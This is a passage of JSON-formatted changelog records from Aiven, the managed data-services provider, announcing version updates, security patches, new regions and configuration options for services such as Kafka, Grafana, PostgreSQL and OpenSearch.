button."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-07-31T00:00:00.000Z","tags":[{"_key":"a1c49434-0232-4746-95d4-583cc6c4d225","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka now has versions 1.0.2, 1.1.1 and 2.0.0 available"} {"_createdAt":"2022-10-27T09:11:39Z","_i18n_lang":"en","_id":"b6b0f9d1-5f68-4740-b406-58fc3274d483","_rev":"GNtcCQgxf3P3DqpLt1kRHR","_type":"changelog","_updatedAt":"2022-10-27T09:11:39Z","changeType":"","description":[{"_key":"13697b96-7757-470d-9816-3008e9353f0d","_type":"block","children":[{"_key":"3ffd0168-cd83-45b9-90bb-5913630d4af4","_type":"span","marks":[],"text":"All new plans will now use the new version and all existing customer will be upgraded to this version in the future. To check what's changed please see the release notes for "},{"_key":"6dafe60d-ff84-4ee4-b451-6cccaf1feb9c","_type":"span","marks":["m17095690506455"],"text":"Kibana"},{"_key":"3b807324-6c63-442f-8e1e-15f33e9c5479","_type":"span","marks":[],"text":" and "},{"_key":"a370794a-fc06-4bb7-b581-ef68a84b1a3f","_type":"span","marks":["m5969370934966"],"text":"Elasticsearch"},{"_key":"29cf7588-36cd-45b8-95b4-c390b4600636","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m17095690506455","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-5.4.2.html"},{"_key":"m5969370934966","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-5.4.2.html"}],"style":"normal"}],"publishedAt":"2017-06-26T00:00:00.000Z","tags":[],"title":"Added support for version 5.4.2"} {"_createdAt":"2022-10-27T09:03:58Z","_i18n_lang":"en","_id":"b7723cb2-1f4e-4856-98d3-fe99b1ad9767","_rev":"HEiYk6nGjmUICadcDbSepX","_type":"changelog","_updatedAt":"2022-10-27T09:03:58Z","changeType":"","description":[{"_key":"e8489eef-a822-47b8-9e57-837f517161b0","_type":"block","children":[{"_key":"9dcc4e11-0efa-45ff-a940-fa63f37a8882","_type":"span","marks":[],"text":"Please see the "},{"_key":"5f315344-3bf2-4bb4-a2c5-c0765085628b","_type":"span","marks":["m11778030319300"],"text":"Release Notes"},{"_key":"c6948c74-8961-47f0-93e4-22f89692a6b5","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m11778030319300","_type":"link","href":"https://debezium.io/releases/1.6/release-notes"}],"style":"normal"}],"publishedAt":"2021-07-09T00:00:00.000Z","tags":[{"_key":"580743f1-e6c3-41b6-9177-57dfdf9072de","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect Debezium 1.6.0.Final is now available"} {"_createdAt":"2022-10-27T09:07:20Z","_i18n_lang":"en","_id":"b7774dea-1e74-4d1e-961f-ec6390536545","_rev":"Dn65xz5Z1k22g7BhlztJoU","_type":"changelog","_updatedAt":"2022-10-27T09:07:20Z","changeType":"","publishedAt":"2019-12-05T00:00:00.000Z","tags":[{"_key":"318f3b31-3694-46e0-9252-0349cb84416e","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Easy migration from existing Redis server"} {"_createdAt":"2022-10-27T09:07:49Z","_i18n_lang":"en","_id":"b7ce2d2f-8b95-4327-81b8-537a063416b6","_rev":"Cf2WlCE8X5IGBBi7ld1Ic6","_type":"changelog","_updatedAt":"2022-10-27T09:07:49Z","changeType":"","description":[{"_key":"52be8ad8-36fe-4a11-a8aa-2421d7168a4d","_type":"block","children":[{"_key":"a0696439-bfbe-473c-9033-c8b93e6a78fa","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"fd715b2f-223f-40f4-b5d1-c71211e5813f","_type":"span","marks":["m12040435265206"],"text":"Elasticsearch 7.4.0"},{"_key":"6e92f5c1-4862-4a91-b0d2-34d3954a6967","_type":"span","marks":[],"text":" and "},{"_key":"821e29d3-c205-4e88-ae62-1bab69e11d85","_type":"span","marks":["m4496796242135"],"text":"Kibana"},{"_key":"27893c37-bd2a-4075-bd7e-93c65f260e59","_type":"span","marks":[],"text":". To enable upgrading to Elasticsearch 7, you must first apply the latest maintenance updates for your Elasticsearch 6 service."}],"markDefs":[{"_key":"m12040435265206","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-7.4.0.html"},{"_key":"m4496796242135","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-7.4.0.html"}],"style":"normal"}],"publishedAt":"2019-10-14T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch version 7.4.0 is now available"} {"__i18n_lang":"en","_createdAt":"2023-08-09T08:28:15Z","_id":"b8847045-d00d-45c9-aaed-64247432debc","_rev":"YFURCCIYWC1zW2kvzgHGm5","_type":"changelog","_updatedAt":"2023-08-09T08:41:30Z","changeType":"security","description":[{"_key":"ac8b0da1f294","_type":"block","children":[{"_key":"17b9f6dc817e0","_type":"span","marks":[],"text":"Aiven for Grafana now supports Grafana version 9.5.5, which brings an upgraded email lookup mechanism for OAuth, enhancing overall system security. This version also allows users to revert to the prior behavior observed in Grafana version 9.5.3 using the "},{"_key":"f76ad3d8cc4e","_type":"span","marks":["code"],"text":"oauth_allow_insecure_email_lookup"},{"_key":"9d74655c3575","_type":"span","marks":[],"text":" configuration option. However, enabling this option may expose the system to a critical authentication bypass vulnerability ("},{"_key":"744d13c5a030","_type":"span","marks":["e6cffeb428b7"],"text":"CVE-2023-3128"},{"_key":"355329381462","_type":"span","marks":[],"text":") when using Azure AD OAuth. For more information, see "},{"_key":"17b9f6dc817e1","_type":"span","marks":["451d70d5f5d6"],"text":"Grafana® OAuth configuration and security considerations"},{"_key":"17b9f6dc817e2","_type":"span","marks":[],"text":" documentation."}],"markDefs":[{"_key":"451d70d5f5d6","_type":"link","href":"https://docs.aiven.io//docs/products/grafana/howto/oauth-configuration.html"},{"_key":"e6cffeb428b7","_type":"link","href":"https://cve.report/CVE-2023-3128"}],"style":"normal"}],"publishedAt":"2023-08-09T08:26:00.000Z","tags":[{"_key":"8a621b3303ff","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Grafana version 9.5.5 with enhanced OAuth configuration and security"} {"_createdAt":"2022-10-27T09:04:52Z","_i18n_lang":"en","_id":"b8984bc2-fe8e-4d42-948b-1cf28da38f8f","_rev":"avO8DZ6Ky9k3TDzRfU67hL","_type":"changelog","_updatedAt":"2022-10-27T09:04:52Z","changeType":"","publishedAt":"2021-03-02T00:00:00.000Z","tags":[{"_key":"a868efa7-e857-4428-a302-e2fba6aecfb3","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"PostgreSQL logical decoding plugin wal2json version 2.3.6 now also available on PostgreSQL 13"} {"_createdAt":"2022-10-27T09:05:58Z","_i18n_lang":"en","_id":"b8a2d926-f39d-432d-93e7-469684d80a94","_rev":"AUoLUkEDo6CVeRx5sqPyvr","_type":"changelog","_updatedAt":"2024-02-09T08:24:27Z","changeType":"","description":[{"_key":"8cddc0d8-4c1e-490c-b277-7abf5fbf404c","_type":"block","children":[{"_key":"d731ad4a-10bc-4f7c-b79f-8be631d9579b","_type":"span","marks":[],"text":"You can find them at the bottom of the Overview tab in the console for your InfluxDB services."}],"markDefs":[],"style":"normal"}],"publishedAt":"2020-09-29T00:00:00.000Z","title":"Advanced configuration options are now available for InfluxDB"} {"__i18n_lang":"en","_createdAt":"2022-12-02T15:59:30Z","_id":"b8d30315-b86b-43c1-a278-9d36392f8cfe","_rev":"cmQvgZcsUwgFEQbM0TMkj9","_type":"changelog","_updatedAt":"2022-12-22T10:45:26Z","changeType":"improved","description":[{"_key":"6d70654794ea","_type":"block","children":[{"_key":"039558bbf3ef0","_type":"span","marks":[],"text":"Karapace upgraded versions 3.34 and 3.3.5 are now available. These version releases contain a fix for the proper handling of tombstone records during the backup and restore. For more information, see the "},{"_key":"039558bbf3ef1","_type":"span","marks":["6f581294e5c3"],"text":" Karapace release notes"},{"_key":"039558bbf3ef2","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"6f581294e5c3","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.5"}],"style":"normal"}],"publishedAt":"2022-11-19T15:59:00.000Z","tags":[{"_key":"2720995ac1f9","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace upgrade versions 3.3.4 and 3.4.5 are now available."} {"__i18n_lang":"en","_createdAt":"2024-03-12T16:09:48Z","_id":"b1bca846-212e-4b82-9caa-1f94f19daca0","_rev":"L3boCkkiM9On4ApfxON332","_type":"changelog","_updatedAt":"2024-03-12T16:15:16Z","changeType":"improved","description":[{"_key":"5be43b17360c","_type":"block","children":[{"_key":"2b565b03c6a80","_type":"span","marks":[],"text":"The tiered storage feature for Aiven for Apache Kafka® is now accessible for all users to test. Access to this feature has been simplified, removing the need to go through sales and providing direct access. \n\nTiered storage is currently in "},{"_key":"2b565b03c6a81","_type":"span","marks":["58ea33e51bfc"],"text":"Early Availability"},{"_key":"2b565b03c6a82","_type":"span","marks":[],"text":", and continuous enhancements are being made. We encourage users to explore Tiered Storage and provide feedback to help refine and improve the feature. \n\nTo learn more, see "},{"_key":"2b565b03c6a83","_type":"span","marks":["e4ab27779cc9"],"text":"Tiered storage in Aiven for Apache Kafka "},{"_key":"2b565b03c6a84","_type":"span","marks":[],"text":"documentation."}],"markDefs":[{"_key":"58ea33e51bfc","_type":"link","href":"https://aiven.io/docs/platform/concepts/beta_services#early-availability-public-beta-"},{"_key":"e4ab27779cc9","_type":"link","href":"https://aiven.io/docs/products/kafka/howto/kafka-tiered-storage-get-started"}],"style":"normal"}],"publishedAt":"2024-03-12T16:09:00.000Z","tags":[{"_key":"72397ffe0a6c","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka tiered storage update"} {"__i18n_lang":"en","_createdAt":"2022-12-02T15:56:45Z","_id":"b921a52b-14da-4c7d-bf75-9fe7b8c775a0","_rev":"cmQvgZcsUwgFEQbM0TMA7b","_type":"changelog","_updatedAt":"2022-12-22T10:45:13Z","changeType":"security","description":[{"_key":"f83e58d00a37","_type":"block","children":[{"_key":"6d237ba7a8240","_type":"span","marks":[],"text":"Aiven for Grafana version 9.2.4 is now available. Along with minor version updates, this version also includes the fix for CVE-2022-39328: a race condition found in the Grafana code base that allowed an unauthenticated user to query an arbitrary endpoint in Grafana. Aiven for Grafana version 9.2.1 will be updated to 9.2.4 in the next maintenance interval. To learn more, see "},{"_key":"6d237ba7a8241","_type":"span","marks":["3a9d4966222b"],"text":"Grafana changelog"},{"_key":"6d237ba7a8242","_type":"span","marks":[],"text":" and "},{"_key":"6d237ba7a8243","_type":"span","marks":["ff5f509b781b"],"text":"Aiven for Grafana"},{"_key":"6d237ba7a8244","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3a9d4966222b","_type":"link","href":"https://github.com/grafana/grafana/blob/main/CHANGELOG.md"},{"_key":"ff5f509b781b","_type":"link","href":"https://docs.aiven.io/docs/products/grafana.html"}],"style":"normal"}],"publishedAt":"2022-11-09T15:56:00.000Z","tags":[{"_key":"6f89941409a9","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana version 9.2.4."} {"_createdAt":"2022-10-27T09:10:02Z","_i18n_lang":"en","_id":"bab750f2-8dc0-411e-8567-367451f6f677","_rev":"Cf2WlCE8X5IGBBi7ld1LDK","_type":"changelog","_updatedAt":"2022-10-27T09:10:02Z","changeType":"","description":[{"_key":"1f59b3dd-bddd-4682-ab0b-9b02007f730d","_type":"block","children":[{"_key":"2c319aea-73f4-4ac0-bd87-81f24ba88086","_type":"span","marks":[],"text":"All Aiven services are now available in the new region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-07-17T00:00:00.000Z","tags":[{"_key":"e127b99f-db1d-42f6-a0d5-a0ea89faee83","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Los Angeles (\u003ccode\u003eus-west2\u003c/code\u003e) region"} {"_createdAt":"2022-10-27T09:09:40Z","_i18n_lang":"en","_id":"c060728e-9600-4778-b6b7-bfe3360a7ced","_rev":"C4pC7IakZ1PpJ4LWR2B7DP","_type":"changelog","_updatedAt":"2022-10-27T09:09:40Z","changeType":"","description":[{"_key":"23cb5a5c-ad81-45bc-a9af-459e593e8a18","_type":"block","children":[{"_key":"ad07c4db-1d0b-44c7-aca1-708ca763c982","_type":"span","marks":[],"text":"All new Elasticsearch services will be using this version and older customers will be upgraded to it over time. To see what's new see the release notes for "},{"_key":"8a200bce-731c-4554-918e-e34e8c71151f","_type":"span","marks":["m10083991173623"],"text":"Elasticsearch 6.4"},{"_key":"387d726c-ff42-44a9-bab2-2ce4859f91ba","_type":"span","marks":[],"text":", "},{"_key":"010858b5-7088-4396-b9ae-ecc865fcb955","_type":"span","marks":["m2110319818422"],"text":"Elasticsearch 6.4.1"},{"_key":"281a40a3-e9cf-4001-822a-1510f3d92417","_type":"span","marks":[],"text":" and "},{"_key":"3ca86778-d3ee-4f23-a303-68ca3d323359","_type":"span","marks":["m2472326158551"],"text":"Kibana"},{"_key":"b3fa539e-b552-4c57-aba9-7ae46c055886","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m10083991173623","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.4.0.html"},{"_key":"m2110319818422","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/current/release-notes-6.4.1.html"},{"_key":"m2472326158551","_type":"link","href":"https://www.elastic.co/guide/en/kibana/current/release-notes-6.4.1.html"}],"style":"normal"}],"publishedAt":"2018-09-25T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch 6.4.1 version support now available"} {"_createdAt":"2022-10-27T09:08:49Z","_i18n_lang":"en","_id":"c1fe2de1-ebdf-4949-b36d-98834657ccb3","_rev":"GNtcCQgxf3P3DqpLt1jvFN","_type":"changelog","_updatedAt":"2022-10-27T09:08:49Z","changeType":"","description":[{"_key":"e20c4524-df84-4ca6-8802-43e5783036cb","_type":"block","children":[{"_key":"7d5a7840-0965-4c16-8356-efcfd5d493a7","_type":"span","marks":[],"text":"Please see the "},{"_key":"e22df2b2-8d6d-4c1a-941b-6bd2ee2721b7","_type":"span","marks":["m10155337134488"],"text":"Changelog"},{"_key":"601a2e88-676d-4319-a328-582b0e573c47","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m10155337134488","_type":"link","href":"https://raw.githubusercontent.com/antirez/redis/5.0/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2019-04-01T00:00:00.000Z","tags":[{"_key":"3b76a21f-1d7a-4fed-9dd2-e9a60a6d2e67","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to major version 5.0.4"} {"_createdAt":"2022-10-27T09:11:23Z","_i18n_lang":"en","_id":"c2668411-fff5-4098-a041-31eb138b3c4e","_rev":"ri8ZjU8zRgh6Niwltv1FDX","_type":"changelog","_updatedAt":"2022-10-27T09:11:23Z","changeType":"","description":[{"_key":"9ef2a89c-2e68-4b61-81c3-034bdfe042f6","_type":"block","children":[{"_key":"79b87520-d4da-442d-b119-cb3c800b91d5","_type":"span","marks":[],"text":"To see what's new refer to the Grafana "},{"_key":"cac13d6d-987c-4f6a-bd80-53f4b11c646f","_type":"span","marks":["m11496660721747"],"text":"changelog"},{"_key":"8569c91d-82a3-4ceb-92ac-65adcfb9507b","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11496660721747","_type":"link","href":"https://github.com/influxdata/influxdb/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-08-30T00:00:00.000Z","tags":[{"_key":"323bdc3d-ad7a-4df6-8169-3891bbc8bba8","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Support the latest version 4.4.3"} {"_createdAt":"2022-10-27T09:06:13Z","_i18n_lang":"en","_id":"c2c17c58-52b3-49d6-a95e-05c2d2285977","_rev":"Cf2WlCE8X5IGBBi7ld1Fr0","_type":"changelog","_updatedAt":"2022-10-27T09:06:13Z","changeType":"","description":[{"_key":"7f96bec9-e168-4597-8ca0-7e810adcb6c0","_type":"block","children":[{"_key":"9fef7f15-5b72-47eb-804e-2f1c7cc73967","_type":"span","marks":[],"text":"Please see the "},{"_key":"3b6c2603-003c-4ee5-b700-f295a46fb60b","_type":"span","marks":["m8346950781327"],"text":"release notes"},{"_key":"363936d1-4008-45ff-93b5-5bfaef76a464","_type":"span","marks":[],"text":" and the "},{"_key":"7c90523e-d6fc-4c62-9858-92d7366946d8","_type":"span","marks":["m1776731392458"],"text":"documentation"},{"_key":"44f91f44-ca2c-4015-88e1-bf4cd8fa8c6a","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8346950781327","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.2.0"},{"_key":"m1776731392458","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc"}],"style":"normal"}],"publishedAt":"2020-08-10T00:00:00.000Z","tags":[{"_key":"301552e1-a5c0-46dd-8fbb-9d5ec76297fb","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.2.0"} {"__i18n_lang":"en","_createdAt":"2022-12-02T16:05:06Z","_id":"c369e3e0-af46-434c-9a10-9a171a9a5ee2","_rev":"IiYi5XVNmR5WYQ23CFYsOz","_type":"changelog","_updatedAt":"2022-12-22T10:45:59Z","changeType":"improved","description":[{"_key":"5b8eab2c5867","_type":"block","children":[{"_key":"cd1fd33bec0c0","_type":"span","marks":[],"text":"The most significant fixes in Karapace 3.3.6 are: Karapace could change prematurely to a ready state, while replaying the schema data from Kafka. Now, Karapace will only be ready after replaying the most recent known schema data offset from Kafka. Furthermore, when Karapace was not ready, it responded to read requests from an incomplete state. Now, when Karapace is not ready, it forwards requests to the primary node, which will provide an up-to-date response. Additionally, with Karapace version 3.3.7, you can set the Karapace version using the ``KARAPACE_VERSION`` environment variable. For more information, see "},{"_key":"cd1fd33bec0c1","_type":"span","marks":["3731e047aa16"],"text":"Release notes for 3.3.6"},{"_key":"cd1fd33bec0c2","_type":"span","marks":[],"text":" and "},{"_key":"cd1fd33bec0c3","_type":"span","marks":["183bf968c696"],"text":"Release notes for 3.3.7"},{"_key":"cd1fd33bec0c4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3731e047aa16","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.6"},{"_key":"183bf968c696","_type":"link","href":"https://github.com/aiven/karapace/releases/tag/3.3.7"}],"style":"normal"}],"publishedAt":"2022-11-25T16:00:00.000Z","tags":[{"_key":"b08235c4b94b","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Karapace versions 3.3.6 and 3.3.7 are now available."} {"_createdAt":"2022-10-27T09:03:47Z","_i18n_lang":"en","_id":"c3ecfa50-f9fd-4612-ad36-4035beff30a2","_rev":"avO8DZ6Ky9k3TDzRfU5wr9","_type":"changelog","_updatedAt":"2022-10-27T09:03:47Z","changeType":"","publishedAt":"2021-08-13T00:00:00.000Z","tags":[],"title":"Add user configuration option allowing to keep index.refresh_interval"} {"__i18n_lang":"en","_createdAt":"2024-05-08T07:23:41Z","_id":"c47ba7db-cc74-4f99-bcf1-de67643d85e9","_rev":"nLSTzF26jPs3sgmqJ2VzXB","_type":"changelog","_updatedAt":"2024-05-08T07:29:48Z","description":[{"_key":"83de4289698a","_type":"block","children":[{"_key":"ba2ebf07d3a00","_type":"span","marks":[],"text":"In version 4.17.0, the beta flag has been removed from the "},{"_key":"b6ff0b7f2422","_type":"span","marks":["code"],"text":"aiven_organization_application_user"},{"_key":"65aa1cc8d7ce","_type":"span","marks":[],"text":" and "},{"_key":"1b93070366ea","_type":"span","marks":["code"],"text":"aiven_organization_application_user_token"},{"_key":"d391e1b74417","_type":"span","marks":[],"text":" resources. "}],"markDefs":[],"style":"normal"},{"_key":"753d9ce3b50d","_type":"block","children":[{"_key":"c46d2a82df12","_type":"span","marks":[],"text":"Application users are a special type of user that super admin can create to use for programmatic access to Aiven through Terraform. They make it easier to audit and manage access to your Aiven resources for applications."}],"markDefs":[],"style":"normal"},{"_key":"d5d28121674c","_type":"block","children":[{"_key":"cd0f76f2ee6b","_type":"span","marks":[],"text":"This release also includes fixes for the "},{"_key":"bc5494288c55","_type":"span","marks":["code"],"text":"aiven_kafka_connector"},{"_key":"03dd4a1523be","_type":"span","marks":[],"text":" 201 error and the invalid token error. "}],"markDefs":[],"style":"normal"},{"_key":"623a5b04543d","_type":"block","children":[{"_key":"22d57b6ee1410","_type":"span","marks":[],"text":"For more information on Aiven Provider for Terraform, see the "},{"_key":"22d57b6ee1411","_type":"span","marks":["b497858057f7"],"text":"documentation"},{"_key":"22d57b6ee1412","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"b497858057f7","_type":"link","href":"https://registry.terraform.io/providers/aiven/aiven/latest/docs"}],"style":"normal"}],"publishedAt":"2024-05-07T07:23:00.000Z","tags":[{"_key":"351ef512ea1e","_ref":"fa4d544f-efa9-4a82-9ef7-74f714d5f34f","_type":"tool"}],"title":"Application users are now generally available in Aiven Provider for Terraform"} {"_createdAt":"2022-10-27T09:11:59Z","_i18n_lang":"en","_id":"c5c4cc9e-9012-4636-9bbb-2fdd0063f889","_rev":"7JYD5XroFCjaK9NJzk43tC","_type":"changelog","_updatedAt":"2022-10-27T09:11:59Z","changeType":"","description":[{"_key":"42708f6b-e038-49f8-821e-1708f2de18ad","_type":"block","children":[{"_key":"abdaf892-a2f9-4067-a4c1-e59355605d57","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"7ec4d4e0-d564-4e54-b071-5f322a290c54","_type":"span","marks":["m2143166583339"],"text":"release notes"},{"_key":"346eea42-92cf-4e89-ab7f-693ba5c75661","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m2143166583339","_type":"link","href":"https://archive.apache.org/dist/kafka/0.10.2.0/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2017-03-24T00:00:00.000Z","tags":[{"_key":"489bfbd6-196d-4735-9f15-fa1cad602570","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added support for the new major release 0.10.2.0"} {"_createdAt":"2022-10-27T09:05:06Z","_i18n_lang":"en","_id":"c5c54b9b-abcc-4d05-973d-1ca0ba9ae25e","_rev":"GNtcCQgxf3P3DqpLt1izZV","_type":"changelog","_updatedAt":"2022-10-27T09:05:06Z","changeType":"","description":[{"_key":"5cc8a9b4-fba7-455d-a62d-d6ff453ceda6","_type":"block","children":[{"_key":"d0965e4e-9d89-406e-b67e-63abf2762b3d","_type":"span","marks":[],"text":"See "},{"_key":"5cdb63d6-1c2d-46fa-a023-bee50f8fcfd5","_type":"span","marks":["m2288653232364"],"text":"release notes"},{"_key":"5aa53007-29cb-41f8-8781-2f819013214a","_type":"span","marks":[],"text":" for more details about the PostgreSQL minor releases."}],"markDefs":[{"_key":"m2288653232364","_type":"link","href":"https://www.postgresql.org/docs/release/"}],"style":"normal"}],"publishedAt":"2021-02-11T00:00:00.000Z","tags":[{"_key":"fd69c341-2fba-4935-9048-57622eed205b","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 12.6, 11.11, 10.16, 9.6.21 and 9.5.25"} {"__i18n_lang":"en","_createdAt":"2022-12-02T15:43:07Z","_id":"c5c579a2-875c-487e-9e0f-0b633aac802d","_rev":"NCHsgHLcvkCT8vGIj2rXMk","_type":"changelog","_updatedAt":"2022-12-22T10:44:15Z","changeType":"improved","description":[{"_key":"d0c743e8f59b","_type":"block","children":[{"_key":"fb1ff5daa0380","_type":"span","marks":[],"text":"Aiven's OpenSearch Connector for Apache Kafka has been updated to version 1.1.1. This connector version includes a fix for the error handling flow in the case when the index name is already taken by an alias or data stream. See the "},{"_key":"891a6bb9c4cf","_type":"span","marks":["990a942bcccd"],"text":"OpenSearch connector for Apache Kafa release notes"},{"_key":"288f8907c28b","_type":"span","marks":[],"text":" and "},{"_key":"e7f37e62367e","_type":"span","marks":["5a4465b4a043"],"text":"OpenSearch sink connector configuration options"},{"_key":"a4d7fd67a425","_type":"span","marks":[],"text":" for more information."}],"markDefs":[{"_key":"990a942bcccd","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/releases/tag/v1.1.1"},{"_key":"5a4465b4a043","_type":"link","href":"https://github.com/aiven/opensearch-connector-for-apache-kafka/blob/v1.1.1/docs/opensearch-sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2022-10-23T14:43:00.000Z","tags":[{"_key":"106ba5148499","_ref":"b20a3d87-8bd6-430c-b79f-f7c59af0d8dd","_type":"service"}],"title":"Aiven's OpenSearch Connector for Apache Kafka version 1.1.1."} {"__i18n_lang":"en","_createdAt":"2023-02-08T11:26:45Z","_id":"c8da361e-d8e5-44b4-b47b-c5f9d129476c","_rev":"iop8tFFqgfe67JrEcakrz3","_type":"changelog","_updatedAt":"2023-02-13T14:28:30Z","changeType":"new","description":[{"_key":"c3344ecb90bc","_type":"block","children":[{"_key":"4b4f0c97aaa60","_type":"span","marks":[],"text":"TimescaleDB extension 2.9.3 is now available for Aiven for PostgreSQL. This release is a high priority upgrade strongly recommended to be made as soon as possible."}],"markDefs":[],"style":"normal"},{"_key":"d607ed1de57d","_type":"block","children":[{"_key":"cb626ea62e380","_type":"span","marks":[],"text":"This release contains the following bug fixes on top of release 2.9.2:"}],"markDefs":[{"_key":"99b5f35f0c4e","_type":"link","href":"https://github.com/timescale/timescaledb/pull/4804"}],"style":"normal"},{"_key":"a11998875761","_type":"block","children":[{"_key":"cb4321539b890","_type":"span","marks":["99b5f35f0c4e"],"text":"Skip bucketing when start or end for a refresh job is null"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"99b5f35f0c4e","_type":"link","href":"https://github.com/timescale/timescaledb/pull/4804"},{"_key":"68ae03b51ee9","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5108"}],"style":"normal"},{"_key":"d168d85ed6fd","_type":"block","children":[{"_key":"dddfcb8cc1150","_type":"span","marks":["68ae03b51ee9"],"text":"Fix column ordering in the compressed table index not following the order of a multi-column segment by definition"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"68ae03b51ee9","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5108"},{"_key":"c66432c0d8b2","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5187"}],"style":"normal"},{"_key":"3f2a1208f90b","_type":"block","children":[{"_key":"94e7646c59350","_type":"span","marks":["c66432c0d8b2"],"text":"Don't enable clang-tidy by default"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c66432c0d8b2","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5187"},{"_key":"cacaa278fa5b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5255"}],"style":"normal"},{"_key":"dee7e71d8142","_type":"block","children":[{"_key":"e0ff16fc55f10","_type":"span","marks":["cacaa278fa5b"],"text":"Fix year not being considered as a multiple of day/month in hierarchical continuous aggregates"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"cacaa278fa5b","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5255"}],"style":"normal"},{"_key":"80d0a91602dd","_type":"block","children":[{"_key":"5657f2c474a00","_type":"span","marks":["4027fd7ea0d7"],"text":"Lock down search_path in SPI calls"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"4027fd7ea0d7","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5259"}],"style":"normal"}],"publishedAt":"2023-02-13T11:26:00.000Z","tags":[{"_key":"95097530bcd2","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.9.3 for Aiven for PostgreSQL released"} {"_createdAt":"2022-10-27T09:11:41Z","_i18n_lang":"en","_id":"c92b5deb-908f-4e9e-ac7b-14e7e282e075","_rev":"zF7BMhNhvYpWtPMfHNO8P8","_type":"changelog","_updatedAt":"2022-10-27T09:11:41Z","changeType":"","description":[{"_key":"688b08c7-a668-474b-9f77-39515ad6f2f4","_type":"block","children":[{"_key":"cc3e6ab6-3ddb-418e-a509-f1d4555a2c2c","_type":"span","marks":[],"text":"All Aiven services are now available in the region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-06-12T00:00:00.000Z","tags":[{"_key":"51676b2b-c6bf-4de0-b23e-d6b77e14fd70","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Add support for Google Cloud Platform (GCP) europe-west2 London region"} {"__i18n_lang":"en","_createdAt":"2024-03-04T15:37:45Z","_id":"c9632385-dcb4-4bfa-8523-4b5ae710171e","_rev":"9lf0N1nj0tQugwM8VKbEA4","_type":"changelog","_updatedAt":"2024-03-04T15:59:45Z","changeType":"new","description":[{"_key":"721e8fe61bd5","_type":"block","children":[{"_key":"16f3e3ac5c01","_type":"span","marks":[],"text":"Aiven for OpenSearch introduces a new advanced configuration option, "},{"_key":"9d22808dc638","_type":"span","marks":["code"],"text":"plugins.alerting.filter_by_backend_roles"},{"_key":"012e6624f7b1","_type":"span","marks":[],"text":", enabling alert filtering based on assigned backend roles. This is beneficial for multi-tenant environments, improving privacy and security. A 